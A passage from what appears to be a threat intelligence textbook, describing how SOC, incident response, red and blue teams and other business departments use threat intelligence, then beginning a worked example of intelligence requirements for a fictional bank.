					Asset discovery: An asset discovery tool allows the SOC to inventory what types of systems are connected to their internal networks alongside what is connected to their cloud environments. Asset inventory is essential for the SOC, as threat intelligence can provide an insight into how the threat actors are targeting these systems. Think back to the tactics we discussed in previous chapters, especially those documented in MITRE's Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK). Understanding the available attack surface within an organization will allow the SOC to develop procedures that address the tactics threat actors use to target their specific inventory of assets.

					Vulnerability assessment: Most SOCs will utilize some form of a vulnerability assessment tool with a preference for the capability to constantly analyze their environment assets for vulnerabilities. Here, the intention is that they are working toward the discovery and patching of vulnerabilities as soon as they are discovered and preferably before the threat actor has compromised the environment. If the threat intelligence feeds that the SOC is consuming contain contextual threat intelligence, then languages such as the Structured Threat Information eXpression (STIX) specifically contain data objects that represent this information. For example, STIX can represent threat intelligence about the specific vulnerabilities threat actors are targeting. Specifically, the STIX component known as Exploit Target is used to represent the specific targets the threat actors are attempting to exploit. An example of this can be found within the STIX documentation, which is located at https://stixproject.github.io/documentation/idioms/cve/. As reporting is consumed that threat actors are targeting specific vulnerabilities, the SOC can scan for these vulnerabilities within their assets and begin the process of patching to remove the weaknesses within their environment.

					Intrusion detection: Whenever threat intelligence is produced about any specific threat event, usually, the threat intelligence contains indicator information about that given threat. Often, this indicator information is used to enhance host- and network-based intrusion detection applications that the SOC might have deployed within an environment. These applications allow the SOC to monitor traffic moving through the networks and to their assets so that they can search and identify suspicious activity.

					Security Information and Event Management (SIEM): SIEM is a software solution that works by aggregating data from multiple sources within the operating environment of an organization. It then presents it in real time so that the SOC can identify issues and correlate logging data to security events. Combining two different technologies, Security Information Management (SIM) and Security Event Management (SEM), SIEM solutions that integrate threat intelligence can assist the SOC by identifying compromised hosts within an environment or even identifying network communication to a suspicious location.

					Endpoint Detection and Response (EDR): One of the fastest-growing vendor spaces is that of EDR. EDR solutions utilize the combination of threat intelligence, threat signatures, and known attack patterns to identify potential endpoint infections within an infrastructure. This type of solution records operating system events, allowing the SOC to query for suspicious activity over time. Newer solutions in this space have even been referenced as Extended Detection and Response (XDR) in which the scope of data collection has moved beyond the endpoint data to include other forms of logged data such as that collected in the network and from the cloud or even an existing SIEM solution. Additionally, XDR solutions have been built utilizing modern data science and machine learning technologies to assist with the identification of threats. Integrating threat intelligence into XDR solutions allows for an unrivaled ability to provide high-fidelity context and deep insight into identified threats. This allows for faster responses and strategic decisions about the incident.

			

			As we mentioned earlier, while not a holistic list of SOC tools, this covers a wide gamut of applications used by the SOC that can integrate threat intelligence in one form or another. Many SOC analysts make use of these tools that have the capability to consume threat intelligence automatically from multiple sources. This means that the SOC analysts can be notified of the latest threats within their environment to act and remediate a threat in real time.

			Another possible responsibility of the SOC that we intentionally left out here is that of the Computer Security Incident Response Team (CSIRT), or IR for short. IR is the functionality that is often embedded in the SOC. It focuses on the triage and remediation of an event. Let's move on to discuss IR responsibility next. 

			IR

			Often, IR is a by-product of an organization's growth and its unique need for an IR function. Many organizations leverage IR and forensics under the same umbrella, making their coordination and cohesion imperative. Smaller organizations might even include the threat intelligence function in the IR function.

			While there are many IR life cycles that can be used by an organization, we will focus on two life cycles in particular: the traditional IR life cycle popularized throughout the IR community and the second life cycle, which involves leveraging F3EAD, which is a targeting methodology employed by military special operations teams across the globe. First, let's dive in by looking at the IR life cycle.

			The IR life cycle

			Seemingly popularized in the NIST 800-61 Computer Incident Handling Guide (https://csrc.nist.gov/publications/detail/sp/800-61/archive/2004-01-16), the traditional IR life cycle is intended to be broad and apply to any incident type, such as phishing, SQL injection, and more. Realistically, threat intelligence can be leveraged throughout the several phases of the popularized NIST IR life cycle. 

			Before we dive into where intelligence is consumed in the organizational IR function, first, let's look at the six unique steps that are commonly used for IR:
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			Figure 11.1 – The IR life cycle

			The life cycle is a six-step process that is widely adopted throughout organizations of all sizes. The life cycle is meant to be repeatable and easily followable. Let's examine the IR life cycle stages in greater detail:

			
					Preparation: From a simplistic perspective, the preparation phase involves getting the policies, tooling, procedures, and workflows ironed out as to what would happen should an incident occur. The preparation phase, at least from the defender's perspective, almost always involves getting access to telemetry data logs for review, hardening systems prior to an incident, and practicing IR processes before they are tested during a live incident. 

					Identification: The identification phase involves detecting and confirming that an actual attack is occurring. It's key to mention that the identification phase starts when there is a direct impact on organizational users, systems, networks, or resources. Identification also includes the collection of artifacts, observables, and indicators where possible. Additionally, this phase involves notifying relevant parties and kicking off the IR process. 

					Containment: The containment phase involves limiting damage and containing the active incident. Continued containment is meant to mitigate the actions of the attacker. Often, containment is performed in two stages: short-term containment, such as isolating an infected host by cutting off network connectivity, and long-term containment, such as disabling system services across the organization that an attacker is exploiting. It's important to note that some organizations opt to skip the containment phase out of fear that the containment will tip off the attacker.

					Eradication: The eradication phase is intended to restore impacted services and, ultimately, rid the environment of the attacker. Eradication is intended to be a mid-to-long-term effort to keep the threat actor out of the environment. It's common for incident responders to employ a scorched earth policy that involves wiping assets that may or may not be directly involved in the incident. For example, often, eradication involves removing the malware or tools used by the threat actors.

					Recovery: The recovery phase involves bringing systems back into production. It also involves implementing countermeasures to prevent further attacks. This stage also involves undoing the actions of the attacker during the incident, which is often a lengthy and involved process. Often, recovery is considered a return to the pre-incident stage or even to a state that is deemed sufficient to move on from the incident. Depending on the actions of the previous stages, recovery often involves patching alongside other operations to recover from an incident.

					Lessons learned: The lessons learned phase includes a debrief to improve further team performance and determine what can be done better next time. The identification of what happened, what went well, what could be done better next time, and more is discussed and actioned during this stage of the life cycle. Often, it's advised that an IR after-action review is performed, where each stage of the IR life cycle is analyzed for further efficiency in the future. Often, countermeasures are agreed upon in this phase to prevent future attacks.

			

			As mentioned earlier, threat intelligence can be leveraged and used throughout the IR life cycle. Now, let's examine, in greater detail, just how intelligence can be consumed throughout the life cycle:
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			Now that we've looked at how threat intelligence can be beneficial throughout the IR life cycle in different ways, let's now examine the F3EAD methodology and how intelligence can be beneficial throughout its use.

			F3EAD

			Built as a targeting methodology employed by military special operations and groups around the globe, F3EAD stands for find, fix, finish, exploit, analyze, and disseminate. It addresses several core differences when compared to the IR life cycle. F3EAD is a methodology that combines threat intelligence collection and analysis and the IR life cycle to produce a very holistic approach to IR. Since threat intelligence should have a purpose, leveraging F3EAD is a great combination approach to insert threat intelligence through the entire F3EAD life cycle, which combines both intelligence and IR.

			The F3EAD process is a life cycle, similar to that of the IR life cycle. Each stage in F3EAD continues to feed the following stages, as witnessed in the following life cycle diagram:
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			Figure 11.2 – The F3EAD life cycle

			It's important to understand the unique difference and value that F3EAD can provide. In the following table, let's examine the F3EAD life cycle in combination with its intelligence value:
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			The use of F3EAD is a consideration that should be taken into account when looking to implement an IR process that accounts for the unique benefits of threat intelligence. While no one-size-fits-all model can accomplish everything an organization needs, F3EAD is a step in the right direction from a modeling perspective.

			Now that we've examined the benefits and implementation examples of threat intelligence throughout a couple of IR life cycles, let's examine the power of threat intelligence utilization in the popular topic of red and blue teams. 

			Red and blue teams

			Most people we know believe that the origin of the red team versus the blue team concept can be traced back to the Red vs. Blue web series based on the Halo franchise of video games. If so, what an epic beginning! I have even heard that the concept was based on cells within the human body where red blood cells attack a virus while another defends the human. However, in reality, the term originated in the military as a vehicle to evaluate an organization's strength and also the quality of the strategies that they were developing from an external perspective. The red team was the aggressor, while the blue team became the defender.

			In the context of cyber intelligence, red teams and blue teams are security functions within an organization that portray different viewpoints of a cyber threat. The red team portrays the offensive viewpoint, while the blue team portrays the defensive. Red teams test the defenses of an organization by utilizing simulated attacks and tabletop exercises, while blue teams try to test the resilience of the organization to withstand these attacks. Red versus blue exercises are meant to measure and identify the organization's security posture against specific attacks. Together, they are meant to simulate the ongoing cat and mouse game that exists between threat actors who are trying to compromise organizations that are trying to prevent this from happening.

			The red team

			In most organizations, the red team's role within an organization is one of the many sought-after positions. As an employee within this team, your job function is to put on the hat of a threat actor and brainstorm scenarios that you think could be used to breach the defenses of your organization. With that in mind, I hope that their consumption of threat intelligence is obvious.

			Usually, they utilize threat intelligence reporting to understand the various TTPs used by the threat actors to infiltrate an organization, understand the focus of activities within the architecture of an organization, and what the mindset is around data that they might find appealing and decide to destroy or exfiltrate. Usually, the tabletop exercises that are developed consist of the emulation of TTPs around specific attacks or the complete emulation of a threat actor campaign.

			If the red team organization consumes fully contextualized threat intelligence in the form of a STIX object, then the STIX bundle will likely have one or more STIX Domain Objects (SDOs) that represent the TTPs the threat actor used as part of the threat event that is being represented. If you are representing these TTPs in MITRE's ATT&CK, then these TTPs can be extrapolated directly from the threat intelligence to assist in modeling threat actor behavior. In Chapter 10, Preparation and Dissemination, we presented a real-world threat to give you a better understanding of how to create hypotheses from that information. The same consumption methodology can also be used here.

			If the red team and the blue team are collaborative partners, then the true success of the red team is when the efforts of the organization lead to lasting impacts and improvement in the blue team's organization. That being said, let's move on to discuss the blue team.

			The blue team

			Contrary to the red team, the blue team is responsible for protecting the organization's assets from any kind of threat. The blue team can consume threat intelligence in the same way that the red team does. Through their consumption of threat intelligence, they can determine what asset within the infrastructure the threat actors will most likely target and, more importantly, how. With the threat actors' set of TTPs, they can perform risk assessments against organization assets to measure the organization's security posture against the attacks illustrated in the threat intelligence. Through the continual assessment of the security posture, they can tighten up the overall security of the organization.

			The difference between the blue team and a SOC is that most SOCs are focused on identification and response, while a blue team member is more concerned about constant resilience from threats using the best-known threat intelligence of threat actor behavior to test, detect, and respond.

			To assist with the efforts of the blue team, and also to contribute to improving an organization's overall security footprint, the MITRE Corporation has developed a blue team framework known as D3FEND. D3FEND stands for Detection, Denial, and Disruption Framework Empowering Network Defense. Originally commissioned by the United States National Security Agency, D3FEND is a new framework that defines defensive countermeasures to help security organizations to plan their defenses against common ATT&CK tactics. More information about D3FEND can be found at https://d3fend.mitre.org/.

			Similar to ATT&CK, D3FEND is meant to define a standard vocabulary or response within an organization. By creating detailed countermeasures to threat actor behavior and continually consuming new threat intelligence, D3FEND can assist an organization by making strategic decisions regarding investment into security programs based on the vehicles they have in place to address cyber security risks. This is perhaps better understood through a visualization. The following diagram is taken directly from the D3FEND website, https://d3fend.mitre.org/about:
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			Figure 11.3 – Simplified offensive and defensive technique relationships

			In the preceding diagram, you can see that TTPs, represented by ATT&CK, produce digital artifacts that should be observed by D3FEND, and then an appropriate countermeasure should be deployed. This is from a very high level, and D3FEND does a great job of describing the observable ontology of the digital artifacts. This visualization that MITRE has produced does a great job of illustrating the relationship between the ATT&CK TTPs and the D3FEND defensive countermeasures. Additionally, the website referenced earlier allows you to interact between TTPs and the mapped countermeasures. 

			While we have been talking about organizations that fall under the umbrella of Information Security (INFOSEC) organizations, the leadership within an INFOSEC organization can also consume and utilize threat intelligence within its various functions. Let's move on to discuss the overall organization.

			Threat intelligence

			We're assuming a couple of things about the audience of our book. You either want to move into threat intelligence and security research as a discipline, or you have the need at your organization to operationalize threat intelligence for varying reasons. For organizations that do not have mature threat intelligence programs, it's not unheard of to supplement your threat intelligence repositories with trusted threat intelligence from third parties. This could assist in fulfilling any knowledge gaps your organization has while you do not have the collection and analysis capabilities to address these issues.

			Here, we won't take a deep dive because we have already spoken about the various places where a threat intelligence team could consume Open Source Intelligence (OSINT) for free. Now, let's move on to discuss how product and service-focused organizations can consume threat intelligence. 

			Information security

			While we understand that the SOC, IR teams, red and blue teams, and even the organization's threat intelligence program most likely fall within INFOSEC organizations for many businesses, it's important to highlight how the INFOSEC organization itself can utilize the threat intelligence that has been created, along with the different responsibilities it has from the individual components of its organization.

			One of the core responsibilities of the INFOSEC organization is to develop and implement a comprehensive cyber security program. Often, this means adopting a compliance framework that allows the organization to measure, provide metrics for, and show that they have taken the appropriate measures to comply with the chosen framework. A freely available framework has been published by the United States Government (USG) – specifically, the National Institute of Standards and Technology (NIST). This cyber security framework has been adopted by many organizations and is an excellent resource for organizations that are only just approaching compliance frameworks. The NIST Cyber Security Framework can be referenced at https://www.nist.gov/cyberframework.

			While we are not insisting any organization adopt this framework because we have mentioned it here, we reference NIST because the framework is mature and consists of standards, guidelines, and best practices for managing cybersecurity risk. The decision to adopt a compliance framework is up to the organization to choose which standards they comply with and why.

			The NIST Cyber Security Framework utilizes high-level functions that act as a backbone that all other components are organized around. Often referred to as pillars, these five functional areas are meant to assist an organization in expressing their cyber security management, which allows for informed decisions around risk management. Let's review each of the functional areas:

			
					Identify: For an organization to understand the risks that they might face, first, they must identify all the systems, data, functions, and capabilities so that they understand the inherent risk that they might need to avert. To comply with this function, the organization must have full visibility of all its digital and physical assets, what roles they have within the organization, and even the interconnections between all of them.

					Protect: It's not a question of whether a cyber security incident will happen – it's absolutely a question of when. An organization must develop processes and procedures to safeguard the assets of the organization. This means security compliance and controls, training and education, processes to secure data, deployment baselines, and even the purchase of software to allow the organization to harden its overall security posture.

					Detect: As mentioned in the previous sections on SOC and IR, the organization will need a vehicle to identify cyber security incidents as quickly as possible. The adoption of some of the tools mentioned assists in providing the organization with continuous monitoring that is often augmented with multiple sources of threat intelligence.

					Respond: When a cyber security incident occurs, the organization will need a vehicle to respond to the attack. This includes determining the scope of the attack and an assessment of the damage, and they will need to begin actively communicating their plans for remediation.

					Recover: After remediation, the organization should begin the road to recovery. This means that the organization needs to restore any damage to services that were incurred due to the event and even incorporate any lessons learned from any existing strategies and revise these as necessary.

			

			While this is a very high-level overview of the functions within NIST's Cyber Security Framework, it's important to note that threat intelligence can be utilized in each of the five functions: 

			
					Inside the Identify function, the inventory of your assets gives you a footprint of your overall risk. Using threat intelligence to understand how the threat actor targets organizations, specific applications, or technologies within an organization, and then the tactics and techniques they utilize to move through the architecture, gives you a better understanding of the risks posed by your infrastructure. Utilize this information to prioritize risk management efforts around vulnerable or targeted systems. 

					During the Protect function of the framework, invest in training and education. In the previous section, we talked about how tabletop exercises that mimic the threat actor behavior can be developed and used. Additionally, threat intelligence can help prioritize the adoption of controls within the environment.

					During the Detect function of the framework, invest in tools that will harden your security posture. When we spoke about the SOC earlier, we specifically mentioned how threat intelligence could be integrated into tooling. 

					During the Respond function of the framework, any threat intelligence associated with the incident is going to provide immediate strategic value to the individuals who are trying to scope the incident. The tactical threat intelligence that is created, specifically the IOC and TTPs identified in the threat intelligence, can prioritize the planned response and scope.

					During the Recover function of the framework, you should take the opportunity to review the event holistically and incorporate any lessons into your existing strategies. Take this time to focus on any threat intelligence you might have had and determine whether appropriate actions were taken when the knowledge was gained. Were there breakdowns in communication or oversights in strategic decision-making? Consider the incident from all angles and incorporate these lessons back into your knowledge base so that your response is better next time. 

			

			So far, most of this chapter has been based on the INFOSEC organization, but we realize that not all organizations are just this. From this point, we will focus on other types of organizations and address how they can also utilize threat intelligence. Let's move on to discuss these stakeholder organizations. 

			Other departments to consider

			At this point, we have mostly talked about the use of threat intelligence by security organizations. This is because they are the largest consumers of threat intelligence, as it is used both tactically and strategically to defend the organization and make it resilient against attacks. To do this, they need to understand who is targeting them, why they are being targeted, and how they can put the necessary processes, people, and technologies into place to defend against those attacks.

			However, security organizations are not the only organizations that can use threat intelligence for value. While not a holistic list, we've identified other stakeholder departments within organizations that usually consume threat intelligence.

			Products and services

			"Products and services" is a broad and hard-to-address term for everyone. We have listed it here because we know that it is not uncommon for threat actors to target the products or services that an organization provides, which are often the heart of their business. Almost all of the products and services require some form of attack surface exposed to the internet or deployed to customer sites, albeit with some small exceptions. These are all opportunities for threat actors to target your organization and even your customers. There are two scenarios that we want to address in which we believe threat intelligence will assist in product organization. Let's talk about both. 

			Targeting the organization via product deployment

			Threat actors will target your organization either through a targeted attack or as a target of opportunity. If targeting your organization in particular, then this means that the threat actor has taken the time to review your organization's infrastructure and could even leverage the deployment of your product to gain access. The why behind the attack can be due to any of the threat actor motivations that have been discussed earlier in this book.

			In this instance, product owners should adhere to any information security standards that are in place, as the INFOSEC group has, most likely, prepared guidance on deployment standards when the infrastructure is internet-facing. Before your product deployment or any updates to your product ecosystem, plan with INFOSEC so that everyone is on the same page in terms of what is being deployed and the data restrictions around what could potentially be exposed. We already spoke about how threat intelligence can assist security organizations by improving the organization's overall security posture.

			If your organization is compromised because it was a target of opportunity, then it is likely that your organization was not the target at all. Instead, the threat actor might have discovered that a vulnerability in the attack surface of the organization would allow them to exploit infrastructure that was internet-facing and allow them access to the organization's environment. This is not an uncommon tactic that we see ransomware actors targeting. 

			It doesn't matter if your organization is specifically targeted or you are a target of opportunity, the consumption of threat intelligence will assist the overall organization to become more resilient to an attack.

			Targeting the product itself

			In several places in this book, we discussed that threat actors are known for leveraging vulnerabilities that exist within applications and systems to gain access, escalate privileges, and even remotely execute code. It's even more unfortunate if the vulnerabilities that are exploited are within your product or infrastructure that directly supports your service. When this occurs, the threat actor is not directly targeting you but rather using a weakness in your product deployment as a vehicle to compromise your customers directly or to gain access to the data within your ecosystem deployment.

			Earlier, we discussed how an IR team, especially those aligned to the SOC, is responsible for protecting the infrastructure of an organization. Sometimes, product organizations have a dedicated group known as the Product Security Incident Response Team (PSIRT), which is responsible for responding to the vulnerabilities that exist in the products and services that the organization is offering. PSIRT can leverage threat intelligence in several ways.

			Firstly, PSIRT is the group that is responsible for validating that the vulnerability exists and reproducing the exploitation. Often, threat intelligence reporting contains information that threat actors are specifically targeting products or services and whether they have successfully exploited them. In addition, if an organization is lucky, then the threat intelligence can reference proof of concept code that demonstrates the exploitation of the vulnerability and the specific exploitation target of that code. If an organization is unlucky, then the threat intelligence could reference threat actors selling the proof of concept code in a dark market with no real reference other than knowing that a threat actor is making a claim with no means to validate it. 

			One of the responsibilities of PSIRT is to work on the public disclosure of any vulnerability that exists within the organization's applications or services. Recall earlier in the book, we discussed that publicly disclosed vulnerabilities are referenced by the Common Vulnerabilities and Exposures (CVE) identification number, which is assigned to them by a numbering authority. The CVE number itself becomes a piece of intelligence.

			While, in this instance, the organization has produced a CVE, remember that a vulnerability is one of the SDOs. If a piece of malware is responsible for exploiting the vulnerability, then a malware SDO will be referenced to the vulnerability SDO that references the vulnerability. When working in STIX, SDOs will create relationships with vulnerability objects when the referenced vulnerability is targeted or exploited as part of any malicious activity.

			When PSIRT consumes threat intelligence of this nature, they are actively looking for trends within their industry. This helps them to recognize whether there are exploitation patterns in competitor products or services that they might need to coordinate with the product engineering groups to ensure that similar vulnerabilities don't exist within the organization's product. 

			Marketing and public relations

			If you are not part of a marketing or public relations organization directly, the line differentiation between the two might be hard to understand and recognize. The marketing department is responsible for creating the demand for your organization's product or service, while public relations is responsible for building trust with the organization's stakeholders. Together, they are responsible for influencing prospects and boosting the awareness of the organization.

			While the consumption of direct threat intelligence within these organizations is limited, there are edge cases that depend on the industry the overall organization is operating in. For example, in December 2020, Apache software Log4J was issued a critical vulnerability, as referenced by CVE-2021-45046 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046). It had been determined that this vulnerability affected millions of computers, seemingly, in every industry. Additionally, numerous cyber security vendors were reporting that they were seeing scans for the vulnerability on the scale of tens of millions. Essentially, everyone was affected by the Log4J vulnerability.

			In cases like this, the combination of public relations and marketing consume what they understand about the problem, work with internal departments, and craft messaging that provides reassurances to external stakeholders. These organizations are responsible for understanding the external view and the impact cybersecurity events have on the reputation of the impacted organization. 

			Sales

			The use case for threat intelligence consumption by the sales department is also a unique use case that is not applicable to all of the threat intelligence produced or consumed. A very specific use case is if the threat intelligence of a specific event or incident is used to elevate any go-to-market operations that have been initiated by the marketing and public relations departments. A good example of this is if your organization exists within the cyber security vendor space, and a Log4J type of incident occurs in which your product or service can defend against or improve the overall security posture of an organization.

			In this instance, marketing and public relations can consume the threat intelligence for the specific threat event and, carefully, craft guidance for sellers to pitch prospects for purchase or clients for upselling. As we said earlier, this is a very specific use case that is not applicable to all organizations but does exist for some.

			Legal and organizational risks

			While not very common, we mention the organization's general council here, as this is the primary organization that focuses on risk management for the organization. As an organization, the council defines what the organization is obliged to conform to, especially when dealing with compliance and regulatory requirements. However, they are also responsible for advising the organization leadership whenever the organization is involved in any type of impactful threat event. For example, let's use the Log4J threat event again. If the company was using the Log4J software as part of any product or service offering, or if the company was compromised due to its use of the Log4J software, then the general council would be consulted by executive leadership so that they could form a strategy around risk management and disclosure of the compromise by the organization.

			In the Log4J example, the general council or any group identified to address organizational risk would want to know everything they could about how the organization or the customers of the organization would be affected by the threat event. This would require extensive communication from almost all the organizations we've listed in this chapter. The following list shows an example of each:

			
					SOC: The SOC will need to determine whether the organization has been directly targeted by the exploitation of the vulnerability.

					IR: If signs of compromise exist, then the IR teams will need to respond and remediate the attack. 

					Red and blue teams: The blue team can assist by identifying the defensive countermeasures of the attack and coordinating with the SOC and the IR teams. The red teams can build the TTPs of the threat into any tabletop exercises as an after-action task, but they can also assist in training and educating others on how the threat actors could leverage the exploitation of the vulnerability to target the organization.

					Threat intelligence: The threat intelligence team answers the who, what, when, where, and how for the organization, putting all its efforts into identifying malware intrusion sets that leverage the exploitation of the vulnerability, identifying any threat campaigns utilizing the exploitation techniques, and if possible, identifying any threat actors or threat actor groups that are aligned to threat campaigns. The biggest question to answer for the organization is why, and the organization should understand that, sometimes, this does not get answered.

					Information security: Ensure all the elements of the security organization are following the planned guidance around threat events and that all the information from the security organization is being funneled upward so that the risk and executive organizations can make informed decisions to address organization risk.

					Products and services: The products and services teams need to identify how their products and services are directly impacted by the threat and make appropriate arrangements to address hot releases into production should there be any direct impact. Additionally, if the department can leverage the event to create a quick go-to-market product to help upsell to customers or create new ones, then they should attempt to do so.

					Marketing and public relations: These organizations should review the impact of the threat on the industry and the organization and prepare some messaging that tells the organization's story and communicates the position of the organization regarding the threat event. 

					Sales: Sales should seize the opportunity to take the organization's messaging about the event and alleviate any concerns that existing customers might have. Secondly, if any go-to-market offerings are directly created from the event, they should begin positioning themselves to upsell to existing customers and begin pitching new prospects. 

			

			As you can see, many of the departments within typical organizations leverage threat intelligence in a variety of methods. During the response to the threat event, the general council or a group focused on organizational risk should leverage the actions of each of the departments referenced to prepare concise communication for the executive leadership of the organization. Ultimately, if the organization is impacted by a threat event, then the leadership will need to make strategic decisions that affect the overall organization.

			Executive leadership

			The overall consumption of threat intelligence by the organization and the actions taken directly in response to the threat intelligence are useful to the executive leadership of an organization. Should the actions needed to be taken by the organization become so impactful that strategic decisions have to be made regarding the strategic direction of the organization, then the threat intelligence consumed or produced by the organization will serve to provide context for executive decision-making. Overall, this can mean many things from budgetary decisions to improve security posture, responding to constituents regarding a compromise or impact threat event, or even steering the direction of the business based on intelligence trends within the industry.

			Each of the departments in the organization consumes threat intelligence, as illustrated, and we expect that each of them prepares executive reporting that includes some aspect of the threat intelligence consumption as a foundation for department decision-making that makes it to the executive leadership. Even as a derivative product of the threat intelligence, the threat intelligence is consumed by the executive leadership indirectly.

			Summary

			In this chapter, we had the opportunity to discuss how the various departments that exist within most organizations can consume threat intelligence and the various use cases each had for it. As you learned, the INFOSEC organization is the primary user of threat intelligence within an organization. This is because of their mission to defend from threats and maintain resilience within the security posture of the organization. Even so, we spoke about how the various organizations within the INFOSEC organization itself will use threat intelligence differently based on their individual team missions.

			Following this, we also discussed how various other departments within the organization utilize threat intelligence in different ways, including product, marketing, sales, legal, and even the executives of the organization. Knowledge of the adversary and an understanding of why they are targeting your organization affects every aspect of the business.

			In the next chapter, we will discuss the datasets, tools, and scripts we've introduced throughout the book through practical applications against a real-world threat. Let's start at the beginning, and take you through to the finish line soup-to-nuts style!

		

	
		
			Chapter 12: Overview of Datasets and Their Practical Application

			Throughout this book, we have introduced a lot of concepts that have focused on operationalizing threat intelligence. In this chapter, we will focus on tying all these concepts together by applying them within a real-life scenario. We will be working our way through each of the phases of the intelligence life cycle we introduced to you in Chapter 1, Why You Need a Threat Intelligence Program. We will start with planning and direction by focusing on creating and developing a general intelligence requirement, followed by a prioritized collection requirement, to kick off our intelligence life cycle. Then, we will take this guidance to introduce you to the scenario we will focus on in each stage of the intelligence life cycle.

			As we walk through each phase, we will introduce you to the guidance that is created, the different data that's collected, and the datasets that will be produced. While doing so, we will focus on identifying any associated metrics for tracking, reliability, and timeliness. By the end of this chapter, you should have a clear understanding of how to work through the intelligence life cycle practically via examples, as well as having an understanding of the datasets, tools, and scripts that have been used throughout this book.

			We will start by reintroducing you to every phase of the intelligence life cycle, introducing a real-life scenario for the practical application, and discussing any tools and datasets that have been introduced along the way.

			In this chapter, we will cover the following topics:

			
					Planning and direction

					Collection

					Analysis

					Production

					Dissemination and feedback

			

			Planning and direction

			As we stated in Chapter 1, Why You Need a Threat Intelligence Program, when we introduced the threat intelligence life cycle, this life cycle begins with a planning and direction phase in which the organization sets the stage by identifying the critical knowledge gaps around some kind of threat. Before we get started, let's set up a scenario that we can utilize for each stage of the intelligence life cycle as we walk through its practical application. 

			Let's establish a key point about the practical exercise. Ozark International Bank is a made-up entity. It's a persona organization we created for illustration purposes during the practical application portion of this book. Any names, infrastructure, or incidents that are portrayed by us are all fictitious. We have no intention to identify any organizations or persons, nor wish to refer to any existing organizations. 

			SCENARIO: You are an employee of Ozark International Bank, a bank headquartered out of the Ozark mountains in the state of Missouri in the United States. As a financial services organization, your organization currently offers financial services such as payment accounts and lending opportunities to clients globally, as well as assisting them in banking globally by assisting in shifting monies throughout various regions of the world. Your job is to do threat research into a new intelligence program that the information security department has set up to help identify threats.

			You are one of the first threat intelligence analysts working in a newly created threat intelligence program whose focus is to identify threats to the organization directly, threats to the organization's industry, and threats to the clients of the organization. In doing so, one of the first things you must do is assess what knowledge gaps the organizations have. You should begin by creating any general intelligence requirements that can be used as the foundation for collection and analysis for the remainder of the intelligence phases. As you may recall, in Chapter 3, Guidelines and Policies, we introduced you to intelligence requirements. An intelligence requirement is an identified intelligence gap in the organization. We identify this as a piece of information that we don't have or a question that we can't answer – a gap in our intelligence – and then we generate an intelligence requirement for it.

			If we focus on the statement in the previous paragraph, identify threats to the organization directly, threats to the organization's industry, and threats to the clients of the organizations, then we have already identified three very general intelligence requirements that we can build upon. The next question is, for what purpose? Assuming that your organization falls within the information security teams, then your mission may fall within some form of protection mission, meaning hardening the security posture. In this case, we are talking about network- and binary-based indicators of compromise (IOCs) to assist in blocking and detecting technologies that your organization may deploy. In the following table, we have expanded on our initial statement by creating three very general intelligence requirements (GIRs) that can be used to create additional guidance for the collection team:
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			As you can see, these GIRs set the focus on what we want to obtain to fill our knowledge gap. Additionally, they can be the foundation for the organization to create collection requests for the collection teams. As you may recall from Chapter 3, Guidance and Policies, we identified the Focused Collection Requirements (FCRs), which were requests that prioritized the threat collection process, identified the requestor, mapped the request to the GIR, identified any data inputs and blockers, and specified what the desired output is.

			For brevity, we will not create FCRs for every GIR. Let's focus on our first GIR by collecting several FCRs that align so that the collection teams can prioritize their efforts and understand the requests of the stakeholders they are serving:

			
					FCR Identifier: 1.0.

					FCR: Malware binaries.

					Priority: High.

					Description: The Security Operations Center (SOC) is looking for binary-based indicators of known malware intrusion sets to utilize with endpoint protection applications. 

					Requesting Team or Individual: SOC.

					Defined GIR: GIR 1.0.

					Scope: Internal or external.

					Data Type: PE32/PE64, ELF, or APK.

					Output: The security engineering team hashes for blocking purposes. 

			

			For the FCR that we just illustrated, the SOC is looking for indicator data in the form of file hashes so that they can utilize the hash set to harden the security posture of the organization. Let's examine another FCR:

			
					FCR Identifier: 2.0.

					FCR: Malicious infrastructure. 

					Priority: High.

					Description: The SOC is looking for network-based indicators of known malware intrusion sets to utilize with network protection applications. 

					Requesting Team or Individual: SOC.

					Defined GIR: GIR 1.0.

					Scope: External.

					Data Type: Domains, URLs, or IP addresses.

					Output: Network infrastructure for blocking purposes. 

			

			As you can see, we are looking for both network- and binary-based IOCs that the SOC can utilize to harden the security posture of the organization. Both of these FCRs are tied back to the first GIR, in which we are looking for threats to the organization. 

			Here, you can see that during the planning and direction phase of the intelligence life cycle, you begin by identifying the primary knowledge gaps the organization may have, then proceed by surveying stakeholder groups on what type of data they would like to be collected in these GIR-focused areas. We have done this by creating three GIRs and then creating two FCRs that are aligned to one of our GIRs. With that, we can easily push this to the collection team so that they can begin planning collection operations in the next phase of the life cycle – the collection phase.

			Collection

			In the collection phase of the intelligence life cycle, the focus of the analyst shifts to collecting relevant, timely, and actionable threat intelligence. During this stage, data is collected and organized so that you can analyze that data and transform it into intelligence. The second phase of the intelligence life cycle, collection, plays a foundational role in creating an organization's collection management function. Apart from collecting data, threat intelligence collection is often an art mixed with science. 

			In response to the GIRs and Prioritized Collection Requirements (PCRs) that are being developed and the aforementioned policies and guidelines, data collection can begin. Data can be collected from several sources, ranging from humans to open source intel, including messaging apps such as Telegram. This data is often collected both manually and via automated means, such as an API. Processing is also included in the collection phase. Once the data has been gathered, it should be stored, organized, and normalized in such a way that it makes the data easy to analyze and deduplicate. Since the collection phase typically ends up generating a lot of data, the processing stage includes a systematic way to store intelligence in a centralized location.

			As part of the collection phase, several initial documents should be developed. First and foundational to a threat intelligence collections program, an organization must create PIRs and PCRs. As we mentioned in Chapter 6, Technical Threat Intelligence – Collection, and as part of developing and defining a collection program, Ozark International Bank needs to develop Prioritized Intelligence Requirements (PIRs). As a reminder, PIRs should be time-based information or intelligence requirements based on organizational needs. PIRs should be used to identify needs for intelligence collection. There are several ways to track PIRs, but a good standard example is as follows for Ozark International Bank:

			
					PIR: 01:2022-02-19.

					RELATED FCR: FCR 1.0 and FCR 2.0.

					EXPIRES: 2022-03-19.

					BACKGROUND: To continue protecting information assets at Ozark International Bank over the Dragon project deployment dates, the need for collection and analysis exists for unique threats that originate from underground forums and non-traditional sources. 

					REQUIREMENTS:	Report on all criminal, hacktivist, or researcher malware or exploit attempts against the international banking industry vertical. 
	Collect intelligence related to potential insider information leakage on common underground sources. 
	Collect indicators and artifacts related to malware families in the following categories:	Ransomware
	Remote Access Trojans (RATs)
	Banking Trojans
	Crypto miners





					SUPPORTING DOCUMENTS: PCR001-A-BIN-FIN-P2 and PCR002-P-DOC-FIN-P1.

